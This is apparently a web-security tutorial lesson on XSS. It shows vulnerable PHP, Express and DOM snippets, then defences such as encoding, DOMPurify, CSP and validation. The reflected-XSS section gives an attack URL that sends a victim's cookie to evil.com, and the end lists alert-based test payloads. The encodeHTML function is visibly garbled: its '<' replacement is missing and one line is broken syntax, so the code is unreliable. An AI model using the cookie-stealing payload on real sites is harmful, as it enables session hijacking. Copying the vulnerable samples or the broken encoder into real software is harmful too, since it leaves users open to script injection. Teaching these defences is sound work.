TechLead
Lesson 2 of 9
5 min read
Web Security

Cross-Site Scripting (XSS) Prevention

Learn how XSS attacks work and implement robust defenses to protect your applications from script injection.

Understanding XSS Attacks

Cross-Site Scripting (XSS) occurs when attackers inject malicious scripts into web pages viewed by other users. XSS is consistently in the OWASP Top 10 and can lead to session hijacking, data theft, and account takeover.

Types of XSS

1. Reflected XSS

The malicious script comes from the current HTTP request:

<!-- Vulnerable code -->
<p>Search results for: <?php echo $_GET['query']; ?></p>

<!-- Attack URL -->
https://example.com/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

2. Stored XSS

The malicious script is permanently stored on the server:

// Vulnerable: Storing and displaying user comments without sanitization
app.post('/comment', (req, res) => {
  db.save({ comment: req.body.comment }); // Stored as-is
});

// Later displayed:
<div>{comment}</div> // If comment contains script, it executes

3. DOM-based XSS

The vulnerability exists in client-side code:

// Vulnerable: Using innerHTML with untrusted data
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Attack URL:
// ?name=<img src=x onerror=alert('XSS')>

XSS Prevention Strategies

1. Output Encoding

// Encode HTML entities
function encodeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(//g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// Use template literals safely
const userInput = '<script>alert("xss")</script>';
element.textContent = userInput; // Safe - auto-encoded
element.innerHTML = encodeHTML(userInput); // Safe - manually encoded

2. React's Built-in Protection

// React automatically escapes values in JSX
function Comment({ text }) {
  // Safe - React escapes the text
  return <div>{text}</div>;
}

// DANGEROUS - bypasses React's protection
function UnsafeComment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// If you must use dangerouslySetInnerHTML, sanitize first:
import DOMPurify from 'dompurify';

function SafeHTML({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

3. Content Security Policy (CSP)

// Strict CSP header
res.setHeader('Content-Security-Policy', [
  "default-src 'self'",
  "script-src 'self' 'nonce-randomValue123'",
  "style-src 'self' 'unsafe-inline'",
  "img-src 'self' data: https:",
  "font-src 'self'",
  "connect-src 'self' https://api.example.com",
  "frame-ancestors 'none'",
].join('; '));

// In HTML, use nonce for inline scripts
<script nonce="randomValue123">
  // This script will execute
</script>

4. Input Validation

import { z } from 'zod';

// Define strict schemas
const commentSchema = z.object({
  text: z.string()
    .min(1)
    .max(1000)
    .regex(/^[a-zA-Z0-9\s.,!?'-]+$/), // Only allow safe characters
  authorId: z.string().uuid(),
});

// Validate input
function createComment(input) {
  const validated = commentSchema.parse(input);
  // Now safe to use validated.text
}

5. Sanitization Libraries

// DOMPurify - Browser
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href'],
});

// sanitize-html - Node.js
const sanitizeHtml = require('sanitize-html');
const clean = sanitizeHtml(dirty, {
  allowedTags: ['b', 'i', 'em', 'strong', 'a'],
  allowedAttributes: {
    'a': ['href']
  }
});

DOM Manipulation Best Practices

// UNSAFE: Using innerHTML
element.innerHTML = userInput;

// SAFE: Using textContent
element.textContent = userInput;

// SAFE: Creating elements properly
const link = document.createElement('a');
link.href = sanitizeURL(userInput);
link.textContent = 'Click here';
element.appendChild(link);

// URL sanitization
function sanitizeURL(url) {
  try {
    const parsed = new URL(url);
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return '#';
    }
    return parsed.href;
  } catch {
    return '#';
  }
}

Testing for XSS

// Common XSS test payloads
const xssPayloads = [
  '<script>alert("XSS")</script>',
  '<img src=x onerror=alert("XSS")>',
  '<svg onload=alert("XSS")>',
  'javascript:alert("XSS")',
  '<a href="javascript:alert(1)">click</a>',
  '<div onmouseover="alert(1)">hover me</div>',
];

// Test your inputs with these payloads
// If any execute, you have an XSS vulnerability

Continue Learning